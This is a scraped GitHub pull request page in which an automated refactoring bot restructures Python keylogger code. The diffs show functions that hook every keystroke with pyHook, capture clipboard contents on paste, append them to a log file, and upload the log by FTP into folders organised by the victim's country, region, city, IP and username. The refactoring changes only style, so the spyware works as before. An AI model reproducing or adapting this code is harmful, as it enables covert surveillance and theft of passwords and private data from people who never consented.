-
Notifications
You must be signed in to change notification settings - Fork 1
Sourcery refactored master branch #1
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -28,8 +28,6 @@ | |
| fo.close() | ||
| if country == 'Bosnia and Herzegovina ': | ||
| country = "Bosnia and Herzegovina" | ||
| else: | ||
| pass | ||
|
|
||
| # --------------------------------------------------- # | ||
| # ---------------sending file to ftp server----------------- # | ||
|
|
@@ -50,31 +48,18 @@ def log_upload(f_name): | |
| ftp.cwd(city) | ||
| if ip in ftp.nlst(): | ||
| ftp.cwd(ip) | ||
| if victim in ftp.nlst(): | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| if victim not in ftp.nlst(): | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(city) | ||
| ftp.cwd(city) | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
|
Comment on lines
-53
to
-77
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| else: | ||
| ftp.mkd(region) | ||
| ftp.cwd(region) | ||
|
|
@@ -83,9 +68,6 @@ def log_upload(f_name): | |
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(country) | ||
| ftp.cwd(country) | ||
|
|
@@ -96,9 +78,10 @@ def log_upload(f_name): | |
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
|
|
||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
|
|
||
| def clean_it(): | ||
| global f_name | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -11,11 +11,11 @@ | |
| def keypressed(event): | ||
| global data | ||
| if event.Ascii == 13: | ||
| keys = '\n' | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() | ||
| keys = '\n' | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() | ||
|
Comment on lines
-14
to
+18
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| elif event.Ascii == 8: | ||
| keys = '<BS>' | ||
| fp = open(f_name,'a') | ||
|
|
@@ -34,8 +34,8 @@ def keypressed(event): | |
| data = keys | ||
| fp.write(data + "\n") | ||
| fp.close() | ||
| elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24: | ||
| pass | ||
| elif event.Ascii in [1, 3, 19, 0, 24]: | ||
| pass | ||
| elif event.Ascii == 22: | ||
| keys = pyperclip.paste() | ||
| fp = open(f_name,'a') | ||
|
|
@@ -45,11 +45,11 @@ def keypressed(event): | |
| fp.write("###########STOP CLIPBOARD#############\n") | ||
| fp.close() | ||
| else: | ||
| keys = chr(event.Ascii) | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() | ||
| keys = chr(event.Ascii) | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() | ||
|
|
||
| def log_it(): | ||
| obj = pyHook.HookManager() | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -41,31 +41,18 @@ def log_upload(x): | |
| ftp.cwd(city) | ||
| if ip in ftp.nlst(): | ||
| ftp.cwd(ip) | ||
| if victim in ftp.nlst(): | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| if victim not in ftp.nlst(): | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(city) | ||
| ftp.cwd(city) | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
|
Comment on lines
-44
to
-68
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| else: | ||
| ftp.mkd(region) | ||
| ftp.cwd(region) | ||
|
|
@@ -74,9 +61,6 @@ def log_upload(x): | |
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(country) | ||
| ftp.cwd(country) | ||
|
|
@@ -87,9 +71,9 @@ def log_upload(x): | |
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| fo = open(f_name, 'w') | ||
| fo.flush() | ||
| fo.close() | ||
|
|
@@ -125,7 +109,7 @@ def keypressed(event): | |
| data = keys | ||
| fp.write(data + "\n") | ||
| fp.close() | ||
| elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24: | ||
| elif event.Ascii in [1, 3, 19, 0, 24]: | ||
|
Comment on lines
-128
to
+112
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| pass | ||
| elif event.Ascii == 22: | ||
| keys = pyperclip.paste() | ||
|
|
@@ -154,8 +138,6 @@ def keypressed(event): | |
| log_upload(f_name) | ||
| except: | ||
| pass | ||
| else: | ||
| pass | ||
|
|
||
|
|
||
| obj = pyHook.HookManager() | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines
31-32refactored with the following changes:remove-redundant-pass)